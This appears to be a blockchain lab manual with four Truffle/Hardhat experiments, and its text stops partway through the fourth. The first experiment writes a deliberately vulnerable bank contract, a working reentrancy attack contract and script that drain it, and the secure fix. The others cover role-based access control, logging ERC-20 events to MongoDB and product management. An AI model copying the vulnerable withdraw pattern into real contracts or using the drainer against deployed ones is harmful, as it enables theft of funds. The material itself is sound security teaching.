Exp. No.	**1.Implementing and Exploiting Reentrancy Vulnerabilities using Truffle and Slither**
Date:	

Aim:

To implement, exploit and fix reentrancy vulnerabilities in Ethereum smart contracts using Truffle framework understand the Checks-Effects-Interactions (CEI) pattern and use Slither for static analysis to identify security vulnerabilities.

Hardware Requirements:

- Computer with at least 8 GB RAM
- Processor with at least quad-core CPU
- Stable internet connection for package downloads
- At least 10 GB free disk space

Software Requirements:

- Operating System: Windows, macOS, or Linux
- Development Tools:
  - Node.js 18+ with npm package manager
  - Python 3.10+ with pip installer
  - Truffle Framework for smart contract development
  - OpenZeppelin contracts library
  - Slither static analysis tool
  - Ganache CLI for local blockchain testing

Algorithm and Code:

Step 1: Project Setup and Environment Configuration

Initialize the project directory and install required dependencies:

```
mkdir reentrancy-practice

cd reentrancy-practice

npx truffle init

npm install @openzeppelin/contracts

pip install slither-analyzer
```

Configure Truffle for Solidity 0.8.24 compatibility:

```
// truffle-config.js

module.exports = {
  networks: {
        development: {
        host: "127.0.0.1",
        port: 9545,
        network_id: "*"
        }
  },
  compilers: {
        solc: {
        version: "0.8.24",
        settings: {
        optimizer: { enabled: true, runs: 200 }
        }
        }
  }
};
```

Step 2: Create Vulnerable Smart Contract (BankV1)

Create contracts/BankV1.sol:

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

contract BankV1 {

            mapping(address => uint256) public balances;

            function deposit() external payable {

            balances[msg.sender] += msg.value;

            }

            // UNSAFE: External call before state update - vulnerable to reentrancy

            function withdraw() external {

            uint256 amount = balances[msg.sender];

            require(amount > 0, "No balance");

            (bool success, ) = msg.sender.call{value: amount}("");

            require(success, "Transfer failed");

            balances[msg.sender] = 0; // State update AFTER external call

            }

            function getContractBalance() external view returns (uint256) {

            return address(this).balance;

            }

}
```

Step 3: Create Attack Contract (ReentrantCaller)

Create contracts/ReentrantCaller.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IBankV {
        function deposit() external payable;
        function withdraw() external;
}
contract ReentrantCaller {
        IBankV public bank;
        address public owner;
        constructor(address _bank) {
        bank = IBankV(_bank);
        owner = msg.sender;
        }
        // Fallback function triggered during ETH transfer
        receive() external payable {
        if (address(bank).balance >= 1 ether) {
        bank.withdraw(); // Re-enter withdraw function
        }
        }
        function execute(uint256 depositAmount) external payable {
        require(msg.value >= depositAmount, "Insufficient deposit");
        bank.deposit{value: depositAmount}();
        bank.withdraw(); // Initial withdraw call
        }
        function withdrawProceeds() external {
        payable(owner).transfer(address(this).balance);
        }
}
```

Step 4: Create Secure Contract (BankV2)

Create contracts/BankV2.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract BankV2 is ReentrancyGuard {
        mapping(address => uint256) public balances;
        function deposit() external payable {
        balances[msg.sender] += msg.value;
        }
        // SECURE: CEI pattern + ReentrancyGuard modifier
        function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");
        balances[msg.sender] = 0; // Effects: Update state FIRST
        (bool success, ) = msg.sender.call{value: amount}(""); // Interactions: External call LAST
        require(success, "Transfer failed");
        }
        function getContractBalance() external view returns (uint256) {
        return address(this).balance;
        }
}
```

Step 5: Setup Migration Scripts

Create migrations/2_deploy_contracts.js:

```
const BankV1 = artifacts.require("BankV1");
const BankV2 = artifacts.require("BankV2");
module.exports = async function (deployer) {
  await deployer.deploy(BankV1);
  await deployer.deploy(BankV2);
};
```

Step 6: Create Attack Execution Script

Create scripts/executeReentry.js:

```
const ReentrantCaller = artifacts.require("ReentrantCaller"); const BankV1 = artifacts.require("BankV1"); const
BankV2 = artifacts.require("BankV2");

module.exports = async function (callback) { try { const args = process.argv.slice(4); const useV2 =
args.includes("--v2"); const depositEth = "1";

const accounts = await web3.eth.getAccounts();
const from = accounts[2];
const target = useV2 ? await BankV2.deployed() : await BankV1.deployed();

const caller = await ReentrantCaller.new(target.address, { from });
console.log(`ReentrantCaller deployed targeting ${useV2 ? "BankV2" : "BankV1"}`);

try {
  await caller.execute(web3.utils.toWei(depositEth, "ether"), {
    from,
    value: web3.utils.toWei(depositEth, "ether"),
    gas: 5_000_000,
  });
  console.log("Attack executed successfully");
} catch (err) {
  console.log("Attack failed (expected for BankV2):", err.message);
}

const bankBal = await web3.eth.getBalance(target.address);
const callerBal = await web3.eth.getBalance(caller.address);
console.log(`Bank balance: ${web3.utils.fromWei(bankBal, "ether")} ETH`);
console.log(`Attacker balance: ${web3.utils.fromWei(callerBal, "ether")} ETH`);


} catch (err) { console.error(err); } callback(); };
```

Step 7: Write Comprehensive Tests

```
const BankV1 = artifacts.require("BankV1");
const BankV2 = artifacts.require("BankV2");
const ReentrantCaller = artifacts.require("ReentrantCaller");
const toWei = (v) => web3.utils.toWei(v, "ether");
contract("Reentrancy Vulnerability Tests", (accounts) => {
  const [deployer, user, attacker] = accounts;
  let bankV1, bankV2;
  beforeEach(async () => {
            bankV1 = await BankV1.new({ from: deployer });
            bankV2 = await BankV2.new({ from: deployer });
  });
  it("BankV1: Should be vulnerable to reentrancy attack", async () => {
            // Setup victim funds
            await bankV1.deposit({ from: user, value: toWei("5") });
            // Deploy and execute attack
            const attackerContract = await ReentrantCaller.new(bankV1.address, { from: attacker });
            await attackerContract.execute(toWei("1"), { from: attacker, value: toWei("1") });
            const bankBalance = await web3.eth.getBalance(bankV1.address);
            const attackerBalance = await web3.eth.getBalance(attackerContract.address);
            // Bank should be drained
            assert.equal(bankBalance, "0");
            // Attacker should have more than deposited
            assert.ok(web3.utils.toBN(attackerBalance).gt(web3.utils.toBN(toWei("1"))));
  });
  it("BankV2: Should resist reentrancy attacks", async () => {
            await bankV2.deposit({ from: user, value: toWei("5") });
            const attackerContract = await ReentrantCaller.new(bankV2.address, { from: attacker });
            try {
            await attackerContract.execute(toWei("1"), { from: attacker, value: toWei("1") });
            assert.fail("Expected transaction to revert");
            } catch (err) {
            assert.ok(err.message.includes("revert"));
            }
            // Bank funds should remain secure
            const bankBalance = await web3.eth.getBalance(bankV2.address);
            assert.equal(bankBalance, toWei("5"));
  });
});
```

Step 8: Configure Package Scripts

```
{
  "name": "reentrancy-practice",
  "version": "1.0.0",
  "dependencies": {
        "@openzeppelin/contracts": "^4.9.0",
        "truffle": "^5.11.5"
  },
  "scripts": {
        "compile": "truffle compile",
        "migrate": "truffle migrate --reset",
        "test": "truffle test",
        "attack": "truffle exec scripts/executeReentry.js --network development",
        "slither": "python3 -m slither . --truffle-build-directory build/contracts --filter-paths node_modules"
  }
}
```

Step 9: Execute Practical Demonstration

1.Start Ganache:

bash
```
npx ganache-cli --port 9545 --accounts 10 --defaultBalanceEther 100
```

2.Compile and Deploy:
bash
```
npm run compile
npm run migrate
```

3.Execute Attack on BankV1:
bash
```
npm run attack -- --deposit 1
```

4.Test Attack Prevention in BankV2:
bash
```
npm run attack -- --v2 --deposit 1
```

5.Run Tests:
bash
```
npm run test
```

6.Static Analysis:
bash
```
npm run slither
npm run slither -- --detect reentrancy-vulnerabilities
```

Result:

Exp. No.	**2.Role-Based Access Control (RBAC) with OpenZeppelin AccessControl – RewardPoints Project**
Date:	

Aim

To implement Role-Based Access Control (RBAC) in a smart contract using OpenZeppelin AccessControl for a Reward Points system, where only authorized accounts can mint or burn points, ensuring secure and role-restricted access to contract functions.

Prerequisites

• Node.js v18+ and npm v8+

• Truffle installed globally: npm i -g truffle

• OpenZeppelin Contracts library

• Local blockchain (Truffle Develop or Ganache)

This lab uses Truffle Develop (built-in local blockchain on port 9545).

Algorithm:

1. **Install dependencies**
npm i

2. **Start local blockchain** (Terminal 1)
truffle develop

3. **Compile & Deploy** (Terminal 2)
npm run compile
npm run migrate

4. **Grant roles** (admin = accounts[0] by default)
npm run grantRoles
optional with env vars
MINTER=<addr> BURNER=<addr> npm run grantRoles

5. **List current role members**
npm run listRoles

6. **Mint points** (must be called by an address with MINTER_ROLE
npm run mint
optional
MINTER=<addr> MINT_TO=<addr> MINT_AMOUNT=250 npm run mint

7. **Burn points** (must be called by an address with BURNER_ROLE)
npm run burn
optional
BURNER=<addr> BURN_FROM=<addr> BURN_AMOUNT=25 npm run burn

8. **Revoke a role** (admin only)

```
npm run revokeRole
optional
ROLE_NAME=MINTER_ROLE REVOKE_ADDR=<addr> npm run revokeRole
```

Code:

Truffle Config (truffle-config.js **or** truffle.config.js**)**

```
module.exports = {
networks: {
development: {
host: "127.0.0.1",
port: 9545, // Ganache or `truffle develop` default
network_id: "*",
},
},
compilers: {
solc: {
version: "0.8.20",
settings: { optimizer: { enabled: true, runs: 200 } },
  },
},
};
```

Smart Contract (contracts/RewardPoints.sol**)**

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/access/AccessControl.sol";
contract RewardPoints is AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

mapping(address => uint256) public points;
event PointsMinted(address indexed to, uint256 amount, address indexed by);
event PointsBurned(
    address indexed from,
    uint256 amount,
    address indexed by
);
constructor(address admin) {
    _grantRole(DEFAULT_ADMIN_ROLE, admin);
}
function mint(address to, uint256 amount) external onlyRole(MINTER_ROLE) {
points[to] += amount;
    emit PointsMinted(to, amount, msg.sender);
}
function burn(address from, uint256 amount) external onlyRole(BURNER_ROLE) {
require(points[from] >= amount, "Not enough points");
points[from] -= amount;
    emit PointsBurned(from, amount, msg.sender);
}
}
```

Migration (migrations/1_deploy_rewardpoints.js**)**

```
const RewardPoints = artifacts.require("RewardPoints");
module.exports = async function (deployer, network, accounts) {
  // Make accounts[0] the default admin on deployment
  await deployer.deploy(RewardPoints, accounts[0]);
  const rp = await RewardPoints.deployed();
  console.log("RewardPoints:", rp.address);
};
```

Helper (scripts/helpers.js**)**

```
require("dotenv").config();
const roleHash = (web3, name) => web3.utils.keccak256(name);
module.exports = { roleHash };
```

Grant Roles (scripts/grantRoles.js**)**

```
const RewardPoints = artifacts.require("RewardPoints");
const { roleHash } = require("./helpers");
module.exports = async function (callback) {
  try {
const accounts = await web3.eth.getAccounts();
const admin = accounts[0];
const minter = process.env.MINTER || accounts[1];
const burner = process.env.BURNER || accounts[2];
const rp = await RewardPoints.deployed();
const MINTER_ROLE = roleHash(web3, "MINTER_ROLE");
const BURNER_ROLE = roleHash(web3, "BURNER_ROLE");
console.log(`Granting roles: MINTER -> ${minter}, BURNER -> ${burner}`);
const tx1 = await rp.grantRole(MINTER_ROLE, minter, { from: admin });
const tx2 = await rp.grantRole(BURNER_ROLE, burner, { from: admin });
console.log("Minter grant tx:", tx1.tx);
console.log("Burner grant tx:", tx2.tx);
callback();
} catch (err) {
console.error("Grant roles failed:", err.reason || err.message);
callback(err);
}
};
```

Revoke Role (scripts/revokeRole.js**)**

```
const RewardPoints = artifacts.require("RewardPoints");
const { roleHash } = require("./helpers");
module.exports = async function (callback) {
  try {
const accounts = await web3.eth.getAccounts();
const admin = accounts[0];
const target = process.env.REVOKE_ADDR || accounts[2];
const roleName = process.env.ROLE_NAME || "BURNER_ROLE"; // or MINTER_ROLE
const rp = await RewardPoints.deployed();
const ROLE = roleHash(web3, roleName);
console.log(`Revoking ${roleName} from ${target}...`);
const tx = await rp.revokeRole(ROLE, target, { from: admin });
console.log("Tx:", tx.tx);
console.log(`${roleName} revoked from ${target}`);
callback();
} catch (err) {
console.error("Revoke role failed:", err.reason || err.message);
callback(err);
}
};
```

List Roles (scripts/listRole.js**)**

```
const RewardPoints = artifacts.require("RewardPoints");
const { roleHash } = require("./helpers");
module.exports = async function (callback) {
  try {
const rp = await RewardPoints.deployed();
const accounts = await web3.eth.getAccounts();
const DEFAULT_ADMIN_ROLE = await rp.DEFAULT_ADMIN_ROLE();
const MINTER_ROLE = roleHash(web3, "MINTER_ROLE");
const BURNER_ROLE = roleHash(web3, "BURNER_ROLE");
const has = async (role, addr) => await rp.hasRole(role, addr);
console.log("Role memberships:");
for (const a of accounts) {
        const admin = await has(DEFAULT_ADMIN_ROLE, a);
        const minter = await has(MINTER_ROLE, a);
        const burner = await has(BURNER_ROLE, a);
        if (admin || minter || burner) {
          console.log(`${a}\n - ADMIN : ${admin}\n - MINTER: ${minter}\n -
BURNER: ${burner}`);
}
}
callback();
} catch (err) {
console.error("List roles failed:", err.reason || err.message);
callback(err);
}
};
```

Mint (scripts/mint.js**)**

```
const RewardPoints = artifacts.require("RewardPoints");
module.exports = async function (callback) {
  try {
const accounts = await web3.eth.getAccounts();
const minter = process.env.MINTER || accounts[1];
const to = process.env.MINT_TO || accounts[4];
const amount = parseInt(process.env.MINT_AMOUNT || "100", 10);
const rp = await RewardPoints.deployed();
console.log(`Minting ${amount} points to ${to} as ${minter}...`);
const tx = await rp.mint(to, amount, { from: minter });
console.log("Tx:", tx.tx);
const bal = await rp.points(to);
console.log(`points[${to}] = ${bal.toString()}`);
callback();
} catch (err) {
console.error("Mint failed:", err.reason || err.message);
callback(err);
}
};
```

Burn (scripts/burn.js**)**

```
const RewardPoints = artifacts.require("RewardPoints");
module.exports = async function (callback) {
   try {
const accounts = await web3.eth.getAccounts();
const burner = process.env.BURNER || accounts[2];
const from = process.env.BURN_FROM || accounts[4];
const amount = parseInt(process.env.BURN_AMOUNT || "50", 10);
const rp = await RewardPoints.deployed();
console.log(`Burning ${amount} points from ${from} as ${burner}...`);
const tx = await rp.burn(from, amount, { from: burner });
console.log("Tx:", tx.tx);
const bal = await rp.points(from);
console.log(`points[${from}] = ${bal.toString()}`);
callback();
} catch (err) {
console.error("Burn failed:", err.reason || err.message);
callback(err);
}
};
```

package.json

```
{
"name": "access_control",
"version": "1.0.0",
"main": "index.js",
"scripts": {
   "compile": "truffle compile",
   "migrate": "truffle migrate --reset",
   "grantRoles": "truffle exec scripts/grantRoles.js",
   "revokeRole": "truffle exec scripts/revokeRole.js",
   "mint": "truffle exec scripts/mint.js",
   "burn": "truffle exec scripts/burn.js",
   "listRoles": "truffle exec scripts/listRole.js"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
   "@openzeppelin/contracts": "^5.4.0",
   "dotenv": "^17.2.1",
   "truffle": "^5.11.5"
}
}
```

Result:

Exp. No.	**3.Capture and Store ERC-20 Smart Contract Events in MongoDB using Truffle**
Date:	

Aim:

To implement an ERC-20 token smart contract with custom events, deploy it using Truffle framework, capture blockchain events in real-time, and store them persistently in MongoDB for querying and analysis.

Prerequisites

- **OS:** Windows/macOS/Linux
- **Node.js:** v18+ (check with node -v)
- **npm:** v8+ (check with npm -v)
- **Truffle:** npm i -g truffle
- **MongoDB:** Local or Atlas cluster (have a connection string ready)
- **Git** (optional)

Note: This lab uses **Truffle Develop** (built-in local blockchain) or Ganache. Either is fine.
Commands below assume **Truffle Develop**.

Algorithm:

1. **Install dependencies**
npm i

2. **Start local blockchain** (Terminal #1)
truffle develop
Keep this terminal open.

3. **Compile contracts** (Terminal #2)
truffle compile

4. **Migrate (deploy) contracts**
truffle migrate --reset

5. **Run the event listener** (Terminal #3)
truffle exec scripts/eventListener.js
Keep this running. It will poll every 5 seconds and insert events into MongoDB.

6. **Mint tokens** (any terminal)
truffle exec scripts/mint.js

7. **Transfer with data**
truffle exec scripts/transfer.js

8. **Check a balance**
truffle exec scripts/checkBalance.js
# or for a specific address

```
truffle exec scripts/checkBalance.js 0xYourAddress
```

9. **Query stored events (Node direct)**

```
node scripts/queryEvents.js
```

Code:

Environment Variables (.env)

Create a .env file at the project root:

```
MONGO_DB_URL=mongodb://127.0.0.1:27017/mytoken_events
```

For MongoDB Atlas, paste your SRV connection string. The scripts expect the var name MONGO_DB_URL.

Truffle Configuration (Localhost + Sepolia ready)

Create/verify truffle-config.js :

```
require('dotenv').config();
const HDWalletProvider = require('@truffle/hdwallet-provider');
module.exports = {
   networks: {
// Local: Truffle Develop (preferred)
development: {
host: '127.0.0.1',
port: 9545,
// default for truffle develop
network_id: 5777,
// default network id for truffle develop
},
// Local: Ganache GUI/CLI
ganache: {
host: '127.0.0.1',
port: 8545,
   network_id: '*',
},
// Example testnet (optional)
2
sepolia: {
provider: () => new HDWalletProvider(process.env.PRIVATE_KEY,
process.env.SEPOLIA_RPC),
network_id: 11155111,
gas: 6000000,
confirmations: 2,
timeoutBlocks: 200,
skipDryRun: true
}
},
compilers: {
solc: { version: '^0.8.20' }
}
};
```

Smart Contract: contracts/MyToken.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MyToken is ERC20, Ownable {
// Custom event for minting
event TokensMinted(address indexed to, uint256 amount, string reason);
// Custom event for transfers with additional data
event TransferWithData(
    address indexed from,
    address indexed to,
    uint256 value,
    string data
);
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
// Initial supply: 1,000,000 tokens
    _mint(msg.sender, 1000000 * 10 ** decimals());
}
// Mint new tokens (only owner)
function mint(
address to,
uint256 amount,
    string memory reason
) public onlyOwner {
    _mint(to, amount);
    emit TokensMinted(to, amount, reason);
}
// Transfer with additional data
function transferWithData(
address to,
uint256 amount,
string memory data
) public returns (bool) {
require(balanceOf(msg.sender) >= amount, "Insufficient balance");
_transfer(msg.sender, to, amount);
emit TransferWithData(msg.sender, to, amount, data);
    return true;
}
// Override transfer to emit custom event
function transfer(
address to,
uint256 amount
) public override returns (bool) {
require(balanceOf(msg.sender) >= amount, "Insufficient balance");
_transfer(msg.sender, to, amount);
emit TransferWithData(msg.sender, to, amount, "Standard transfer");
    return true;
}
}
```

Migration: migrations/1_deploy_mytoken.js

```
const MyToken = artifacts.require('MyToken');
module.exports = function (deployer) {
  deployer.deploy(MyToken, 'MyToken', 'MTK');
};
```

Scripts

scripts/mint.js

```
const MyToken = artifacts.require('MyToken');
module.exports = async function (callback) {
  try {
const tokenInstance = await MyToken.deployed();
const accounts = await web3.eth.getAccounts();
const toAddress = accounts[1];
const amount = web3.utils.toWei('100', 'ether');
const reason = 'Initial distribution';
    console.log('Minting tokens to:', toAddress);
    const result = await tokenInstance.mint(toAddress, amount, reason, { from:
accounts[0] });
console.log('Transaction Hash:', result.tx);
console.log('Minted', web3.utils.fromWei(amount, 'ether'), 'tokens to',
toAddress);
    callback();
  } catch (error) {
    console.error(error);
    callback(error);
  }
};
```

scripts/transfer.js

```
const MyToken = artifacts.require('MyToken');
module.exports = async function (callback) {
  try {
const tokenInstance = await MyToken.deployed();
const accounts = await web3.eth.getAccounts();
const fromAccount = accounts[0];
const toAddress = accounts[1];
const amount = web3.utils.toWei('10', 'ether');
const data = 'Payment for services';
    console.log('Transferring tokens from:', fromAccount, 'to:', toAddress);
    const result = await tokenInstance.transferWithData(toAddress, amount,
data, { from: fromAccount });
console.log('Transaction Hash:', result.tx);
console.log('Transferred', web3.utils.fromWei(amount, 'ether'), 'tokens
to', toAddress);
  callback();
} catch (error) {
  console.error(error);
  callback(error);
}
};
```

scripts/checkBalance.js

```
const MyToken = artifacts.require('MyToken');
module.exports = async function (callback) {
  try {
const tokenInstance = await MyToken.deployed();
const contractAddress = tokenInstance.address;
console.log('Token Contract Address:', contractAddress);
const accounts = await web3.eth.getAccounts();
let targetAddress;
if (process.argv.length > 4) {
targetAddress = process.argv[4];
console.log('Checking balance for address:', targetAddress);
} else {
targetAddress = accounts[0];
console.log('No address provided. Checking balance for first account:',
targetAddress);
        }
if (!web3.utils.isAddress(targetAddress)) {
console.error('Error: Invalid Ethereum address');
callback();
    return;
}
try {
const balance = await tokenInstance.balanceOf(targetAddress);
let decimals = 18;
try { decimals = await tokenInstance.decimals(); } catch {}
const formattedBalance = web3.utils.fromWei(balance, 'ether');
let symbol = 'TOKENS';
try { symbol = await tokenInstance.symbol(); } catch {}
let name = 'Token';
try { name = await tokenInstance.name(); } catch {}
    console.log('\n=== Token Balance ===');
    console.log('Token Name:', name);
    console.log('Token Symbol:', symbol);
    console.log('Address:', targetAddress);
    console.log('Balance:', formattedBalance, symbol);
    console.log('Raw Balance:', balance.toString());
} catch (error) {
console.error('Error getting balance:', error.message);
try {
               console.log('\nTrying direct call...');
               const contractABI = MyToken.abi;
               const web3Contract = new web3.eth.Contract(contractABI,
contractAddress);
const balance = await
web3Contract.methods.balanceOf(targetAddress).call();
               console.log('Balance (direct call):', balance.toString());
            } catch (fallbackError) {
    console.error('Fallback method also failed:', fallbackError.message);
}
}
callback();
} catch (error) {
console.error('Error in script:', error);
```

```
callback(error);
}
};
scripts/eventListener.js
const MyToken = artifacts.require('MyToken');
const mongoose = require('mongoose');
const Web3 = require('web3');
const path = require('path');
require('dotenv').config({ path: path.resolve(__dirname, '../.env') });
const MONGODB_URI = process.env.MONGO_DB_URL;
if (!MONGODB_URI) {
console.error('MONGO_DB_URL is not defined in environment variables');
   process.exit(1);
}
console.log('Attempting to connect to MongoDB with URI:', MONGODB_URI.replace(/:
[^:]*@/, ':****@'));
mongoose.connect(MONGODB_URI, { useNewUrlParser: true, useUnifiedTopology:
true })
   .then(() => console.log('Connected to MongoDB successfully'))
   .catch((err) => { console.error('Failed to connect to MongoDB:', err);
process.exit(1); });
const TransferEventSchema = new mongoose.Schema({
from: String,
to: String,
value: String,
data: String,
   transactionHash: String,
   blockNumber: Number,
   timestamp: { type: Date, default: Date.now },
});
const MintEventSchema = new mongoose.Schema({
   to: String,
amount: String,
reason: String,
transactionHash: String,
blockNumber: Number,
   timestamp: { type: Date, default: Date.now },
});
const TransferEvent = mongoose.model('TransferEvent', TransferEventSchema);
const MintEvent = mongoose.model('MintEvent', MintEventSchema);
module.exports = async function (callback) {
   try {
const web3 = new Web3(MyToken.web3.currentProvider);
const networkId = await web3.eth.net.getId();
console.log('Connected to network ID:', networkId);
const tokenInstance = await MyToken.deployed();
const contractAddress = tokenInstance.address;
console.log('Listening to contract at:', contractAddress);
const contractABI = MyToken.abi;
const contract = new web3.eth.Contract(contractABI, contractAddress);
let latestBlock = await web3.eth.getBlockNumber();
console.log('Starting event listener from block:', latestBlock);
let lastProcessedBlock = latestBlock;
const POLLING_INTERVAL = 5000; // 5s
async function processEvents() {
   try {
            const currentBlock = await web3.eth.getBlockNumber();
            if (currentBlock <= lastProcessedBlock) return;
            console.log(`Checking for events from block ${lastProcessedBlock + 1}
to ${currentBlock}`);
const transferEvents = await contract.getPastEvents('TransferWithData',
{
fromBlock: lastProcessedBlock + 1,
   toBlock: currentBlock,
});
const mintEvents = await contract.getPastEvents('TokensMinted', {
fromBlock: lastProcessedBlock + 1,
   toBlock: currentBlock,
});
for (const event of transferEvents) {
   try {
const { from, to, value, data } = event.returnValues;
const block = await web3.eth.getBlock(event.blockNumber);
                  const existingEvent = await TransferEvent.findOne({
transactionHash: event.transactionHash });
                  if (existingEvent) { console.log('Transfer event already
processed:', event.transactionHash); continue; }
const transfer = new TransferEvent({
from,
to,
value: web3.utils.fromWei(value, 'ether'),
data,
   transactionHash: event.transactionHash,
   blockNumber: event.blockNumber,
   timestamp: new Date(block.timestamp * 1000),
});
await transfer.save();
console.log('Transfer event saved to MongoDB:', {
from,
to,
value: web3.utils.fromWei(value, 'ether'),
transactionHash: event.transactionHash,
});
} catch (err) { console.error('Error saving transfer event to
MongoDB:', err); } }
for (const event of mintEvents) {
   try {
const { to, amount, reason } = event.returnValues;
const block = await web3.eth.getBlock(event.blockNumber);
const existingEvent = await MintEvent.findOne({ transactionHash:
event.transactionHash });
                        if (existingEvent) { console.log('Mint event already processed:',
event.transactionHash); continue; }
const mint = new MintEvent({
to,
amount: web3.utils.fromWei(amount, 'ether'),
reason,
    transactionHash: event.transactionHash,
    blockNumber: event.blockNumber,
    timestamp: new Date(block.timestamp * 1000),
});
await mint.save();
console.log('Mint event saved to MongoDB:', {
to,
    amount: web3.utils.fromWei(amount, 'ether'),
    transactionHash: event.transactionHash,
});
} catch (err) { console.error('Error saving mint event to MongoDB:',
err); }
}
    lastProcessedBlock = currentBlock;
} catch (error) { console.error('Error processing events:', error); }
}
        console.log('Starting event polling (interval:', POLLING_INTERVAL,
'ms)...');
const pollingInterval = setInterval(processEvents, POLLING_INTERVAL);
await processEvents();
process.on('SIGINT', () => {
    console.log('Stopping event listener...');
    clearInterval(pollingInterval);
    mongoose.connection.close();
    process.exit(0);
});
} catch (error) {
console.error('Error in event listener:', error);
callback(error);
}
};
scripts/queryEvents.js
const mongoose = require('mongoose');
const path = require('path');
require('dotenv').config({ path: path.resolve(__dirname, '../.env') });
const MONGODB_URI = process.env.MONGO_DB_URL;
if (!MONGODB_URI) { console.error('MONGO_DB_URL is not defined in environment
variables'); process.exit(1); }
const TransferEventSchema = new mongoose.Schema({
from: String,
to: String,
value: String,
data: String,
   transactionHash: String,
   blockNumber: Number,
   timestamp: Date,
});
const MintEventSchema = new mongoose.Schema({
   to: String,
amount: String,
reason: String,
transactionHash: String,
blockNumber: Number,
timestamp: Date,
});
const TransferEvent = mongoose.model('TransferEvent', TransferEventSchema);
const MintEvent = mongoose.model('MintEvent', MintEventSchema);
async function queryEvents() {
try {
      await mongoose.connect(MONGODB_URI, { useNewUrlParser: true,
useUnifiedTopology: true });
console.log('Connected to MongoDB successfully');
      console.log('\n=== Transfer Events ===');
      const transferEvents = await TransferEvent.find().sort({ blockNumber:
-1 }).limit(10);
if (transferEvents.length === 0) {
console.log('No transfer events found');

} else {
   transferEvents.forEach((event) => {
console.log(`\nTransfer Event:\n From: ${event.from}\n To: ${event.to}
\n Value: ${event.value} tokens\n Data: ${event.data}\n TX Hash: $
{event.transactionHash}\n Block: ${event.blockNumber}\n Time: $
{event.timestamp}`);
   });
}
console.log('\n=== Mint Events ===');
const mintEvents = await MintEvent.find().sort({ blockNumber:
-1 }).limit(10);
if (mintEvents.length === 0) {
console.log('No mint events found');
} else {
mintEvents.forEach((event) => {
console.log(`\nMint Event:\n To: ${event.to}\n Amount: $
{event.amount} tokens\n Reason: ${event.reason}\n TX Hash: $
{event.transactionHash}\n Block: ${event.blockNumber}\n Time: $
{event.timestamp}`);
   });
}
const transferCount = await TransferEvent.countDocuments();
const mintCount = await MintEvent.countDocuments();
```

```
console.log(`\n=== Summary ===`);
console.log(`Total Transfer Events: ${transferCount}`);
console.log(`Total Mint Events: ${mintCount}`);
} catch (error) {
console.error('Error querying events:', error);
} finally {
await mongoose.connection.close();
console.log('\nDisconnected from MongoDB');
    }
}
queryEvents();
```

package.json **(example)**

```
{
"name": "mytoken-events",
"version": "1.0.0",
"license": "MIT",
"scripts": {
    "migrate": "truffle migrate --reset",
    "mint": "truffle exec scripts/mint.js",
    "transfer": "truffle exec scripts/transfer.js",
    "balance": "truffle exec scripts/checkBalance.js",
    "listen": "truffle exec scripts/eventListener.js",
    "query": "node scripts/queryEvents.js"
},
"dependencies": {
"@openzeppelin/contracts": "^5.0.0",
"@truffle/hdwallet-provider": "^2.1.14",
"dotenv": "^16.4.5",
"mongoose": "^8.6.0",
"web3": "^1.10.0"
},
"devDependencies": {
"truffle": "^5.11.5"
}
}
```

Result:

Exp. No.	**4. Smart Contract Event-Based Product Management System using Ethereum Blockchain**
Date:	

Aim

To implement and deploy a smart contract for product management with event-based architecture using Hardhat framework on Ethereum blockchain, enabling product creation, purchase, delivery tracking, and fund management.

Hardware Requirements:

- Computer with at least 4 GB RAM
- Processor with at least dual-core CPU
- Stable internet connection for package downloads

Software Requirements:

- Operating System: Windows, macOS, or Linux
- Development Tools:
- Node.js and npm (Node Package Manager)
- Hardhat framework
- Ethers.js library
- MetaMask or similar Ethereum wallet
- Git for version control

Algorithm:

Step 1: Initialize Project Environment

```
npm init -y
npm install --save-dev hardhat
npm install --save-dev @nomicfoundation/hardhat-toolbox
npm install ethers
npm install dotenv
```

Step 2: Configure Environment
Create .env file with required environment variables

Step 3: Deploy Smart Contract
Step 4: Interact with Smart Contract

Code:
1. hardhat.config.js

```
require("@nomicfoundation/hardhat-toolbox");

module.exports = {
  solidity: "0.8.28",
  networks: {
	localhost: {
	url: "http://127.0.0.1:8545",
   },
	// sepolia: {
	//   url: "https://sepolia.infura.io/v3/YOUR_INFURA_PROJECT_ID",
	//   accounts: ["YOUR_PRIVATE_KEY"]
	// }
  },
};
```

2. package.json

```
{
  "name": "event-trigger",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
	"deploy": "hardhat ignition deploy ignition/modules/ProductManagerModule.js --network localhost",
	"create-product": "hardhat run scripts/createProduct.js",
	"purchase-product": "hardhat run scripts/purchaseProduct.js",
	"mark-delivered": "hardhat run scripts/markDelivered.js",
	"withdraw": "hardhat run scripts/withdraw.js",
	"get-product": "hardhat run scripts/getProductDetails.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "devDependencies": {
	"@nomicfoundation/hardhat-toolbox": "^6.1.0",
	"ethers": "^6.15.0",
	"hardhat": "^2.26.2"
  },
  "dependencies": {
	"dotenv": "^17.2.1"
  }
}
```

3. contracts/ProductManager.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract ProductManager {
	enum ProductStatus { Created, Paid, Delivered }
```

```
struct Product {
string identifier;
uint price;
ProductStatus status;
address customer;
}

address payable public owner;
uint public productCount;
mapping(uint => Product) public products;

event ProductCreated(uint indexed productId, string identifier, uint price);
event PaymentReceived(uint indexed productId, address customer, uint amount);
event ProductStatusChanged(uint indexed productId, ProductStatus newStatus);
event Withdrawal(uint amount, address recipient);

constructor() {
owner = payable(msg.sender);
}

modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}

function createProduct(string memory _identifier, uint _price) public onlyOwner {
uint newProductId = productCount++;
products[newProductId] = Product(_identifier, _price, ProductStatus.Created, address(0));
emit ProductCreated(newProductId, _identifier, _price);
